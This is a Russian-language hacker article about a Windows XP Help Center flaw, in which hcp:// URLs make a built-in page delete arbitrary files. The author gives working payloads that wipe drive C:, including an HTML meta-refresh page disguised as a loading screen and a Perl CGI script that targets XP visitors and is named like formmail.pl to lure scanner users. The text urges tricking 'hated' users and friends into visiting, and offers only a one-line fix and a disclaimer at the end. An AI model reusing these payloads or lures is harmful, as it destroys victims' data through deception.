В последнее время достаточно много юзверей перешли на Windows XP как на удобную, достаточно устойчивую и просто приятную ось. К слову сказать я сам пользуюсь вышеназванной операционкой и чувствую себя сухо и комфортно =) Да вот только в каждой программе от дяди Билли нет, нет да и найдут багу способную подпортить жизнь обычным пользователям сети. ХРень также не смогла не попасть в списки дырявых продуктов. Конечно нет смысла описывать все баги найденные в ней и я пожалуй расскажу только об одном, а именно о баге в Help Center. Начну с описания уязвимости: Удаление произвольных файлов в Windows XP и не только, возможно благодаря встроенному Help and Support Center, который является унифицированным хелпом для XP и представляет собой расширенную версию, появившуюся в Windows ME. Приложение региструет подключаемый протокол "hcp://", который может быть использован для запуска хелп центра с сайта. Также он служит для навигации внутри центра. Файл и путь указанный в URL для hcp протокола откроет соответствующий файл по пути, указанному в HELPCTR. Т.е. URL "hcp://system/sysinfo/msinfo.htm" запустит центр и откроет в нем "%windir%\PCHEALTH\HELPCTR\System\sysinfo\msinfo.htm". Существуют разные ограничения, однако важна сама суть, того что центр будет отображать страницу со своими правами, позволяя скриптам выполняться без ведома пользователя. Файл %windir%\PCHEALTH\HELPCTR\System\DFS\uplddrvinfo.htm, размером 32463 байта, используется хелп центром для загрузки в веб информации о железе/драйверах пользователя, в случае возникновения у него каких-либо проблем (troubleshooting hardware issues). Вот часть скрипта, содержащегося в нем: var oFSO = new ActiveXObject ( "Scripting.FileSystemObject" ); try { oFSO.DeleteFile( sFile ); } Где параметр 'sFile' берется из URL. Хелп центр загружает в себя uplddrvinfo.htm и выполняет его со своими правами, не выдавая никаких дополнительных сообщений. Используя 'hcp:' можно передать данные непосредственно в URL: hcp://system/DFS/uplddrvinfo.htm?file://c:\windows\* Все файлы внутри папки Windows будут удалены. Для тех кто не совсем понял обьясняю. Если пользователь WInXP откроет свой браузер и введёт в качестве урл строку: hcp://system/DFS/uplddrvinfo.htm?file://c:\* то тогда все файлы на диске C:\ будут удалены без всяких предупреждений. Просто и удобно. Теперь самое интересное... нам как-то надо заставить ненавистного нам юзера перейти по такой ссылке. Самое простое конечно просто предложить ему ввести урл в браузер, но с подозрительным человеком такая шутка не пройдёт т.к. он обязательно поинтересуется почему ссылка выглядит так подозрительно? Да и даже если мы заставим его сделать это то потом когда юзер потеряет свои файлы он будет знать из-за кого это произошло... и при встрече с ним у вас будет не лучший момент в жизни =) Можно сделать на своей странице ссылку типа: <a href="hcp://system/DFS/uplddrvinfo.htm?file://c:\*">СЮДА НЕ ЖАТЬ но вероятность того что пользователь зайдёт на вашу страницу и примется кликать на этой ссылке тоже не очень велика =( Значит надо автоматизировать процесс перехода по заданной ссылке. Наиболее простой способ имхо это реализовать автоматический переход средствами html. Создаём документ index.htm и в него пишем следующее: <HTML> <HEAD> <META HTTP-EQUIV="refresh" CONTENT="1 URL=hcp://system/DFS/uplddrvinfo.htm?file://c:\*"> <br> <br> <br> <br> <br> <br> <br> <br> <CENTER> <B>LOADING... <BR>PLEASE WAIT Теперь регистрируем себе сайт, например www.winXPdie.narod.ru и заливаем на него наш индексный файл. Теперь всё что нам нужно это послать пользователю сообщение о новом супер интересном сайте где много всего нужного и т.д. и т.п. и дать ссылку на наш сайт. Юзверь заходит по ссылке, естественно загружается наш индексный файл который через секунду переправляет юзверя по нужной нам ссылке. В результате у пользователя на компе открывается Help Center и файлики с винта начинают бесследно исчезать =) Ну вот все твои друзья использующие Виндоуз-ХРень лишились своих файлов и тихо матюгаясь восстанавливают систему. Теперь наверно стоит закончить с этими шалостями и занятся более серьёзными делами. Например придумать как нам может помочь эта уязвимость для наказания всякого рода script kiddies которые так и норовят поломать ваш сайт. Какая прога самая популярная в инструментарии скриптовых детишек? Конечно-же сканер уязвимых скриптов! Ну чтож давайте не будем обманывать ожидания этих "хэкеров" и подготовим для них пару уязвимых скриптов. Пишем скрипт: #!/usr/bin/perl # путь к перлу # получаем информацию о браузере $useragent=$ENV{'HTTP_USER_AGENT'}; # если операционка WinXP то выводим страницу с редиректом # IE6.0 на XP передаёт строку Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) if ($useragent=~/Windows NT 5/){ print "Content-type: text/html\n\n"; print "<HTML><HEAD>"; # в следующей строке и производится редирект на спец. урл # вы можете отредактировать его для удаления определённых файлов print "<META HTTP-EQUIV=\"refresh\" CONTENT=\"1 URL=hcp://system/DFS/uplddrvinfo.htm?file://c:\*\">"; print ""; print "<br><br><br><br><br><br><br><br><center><B>LOADING...<BR>PLEASE WAIT"; print ""; } # если информация о браузере не передана то выводим страницу с редиректом (на всякий случай :) else { if ($useragent=""){ print "Content-type: text/html\n\n"; print "<HTML><HEAD>"; print "<META HTTP-EQUIV=\"refresh\" CONTENT=\"1 URL=hcp://system/DFS/uplddrvinfo.htm?file://c:\*\">"; print ""; print "<br><br><br><br><br><br><br><br><center><B>LOADING...<BR>PLEASE WAIT"; print ""; } # если информация получена и ОС не WinXP то выводим NOT FOUND else { print "Content-type: text/html\n\n"; print "<HTML><HEAD>"; print ""; print "<br><br><br><br><br><br><br><br><center><B>NOT FOUND "; print ""; } } Теперь кладём этот скрипт на сайт в папку cgi-bin под именем любого часто встречающегося в базах cgi-сканеров скрипта (например formmail.pl) и ставим аттрибут исполняемости. Теперь при запросе сканера www.ваш_сайт.ru/cgi-bin/имя_скрипта.pl (www.site.ru/cgi-bin/formmail.pl) сканер выдаст ответ '200' FOUND что нам и надо =) Любопытный взломщик скорее всего загрузит этот УРЛ в браузере... скрипт во время исполнения перешлёт его по нужной ссылке и если на машине хакера установлена ВиньХР то все файлы на его диске С будут удалены =) На последок хочу рассказать как пофиксить эту багу: Временным решением может быть простое удаление файла c:\windows\PCHEALTH\HELPCTR\System\DFS\uplddrvinfo.htm P.S. Эта статья не пособие по удалению файлов с винтов бедных пользователей WindowsXP, цель этой статьи показать обычным юзерам на опасность которая может подстерегать их в сети и помочь им предотвратить её. Блин чуть не забыл ещё одно: Я не несу никакой ответственности за возможный вред который могут причинить читатели воспользовавшись информацией данной статьи. Прошу не сваливать на меня вину за гигабайты удалённых файлов, во всём виноваты мЫкрософт и дядя Билли. =)